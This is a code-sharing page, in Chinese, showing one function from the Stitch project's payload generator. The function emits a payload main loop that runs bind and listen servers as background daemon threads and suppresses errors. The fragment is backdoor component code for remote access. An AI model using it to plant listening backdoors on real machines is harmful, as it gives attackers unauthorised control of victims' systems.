payload_code.py 文件源码

python
阅读 32 收藏 0 点赞 0 评论 0

项目:Stitch 作者: nathanlopez 项目源码 文件源码
def add_listen_bind_main():
    return'''
def main():
    if not stitch_running():
        st_pyld = stitch_payload()
        try:
            bind = threading.Thread(target=st_pyld.bind_server, args=())
            listen = threading.Thread(target=st_pyld.listen_server, args=())
            bind.daemon = True
            listen.daemon = True
            bind.start()
            listen.start()
            while True:
                sleep(60)
        except KeyboardInterrupt:
            pass
        except Exception as e:
            if dbg:
                print e
            pass
        st_pyld.halt_bind_server()
        st_pyld.halt_listen_server()

'''
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号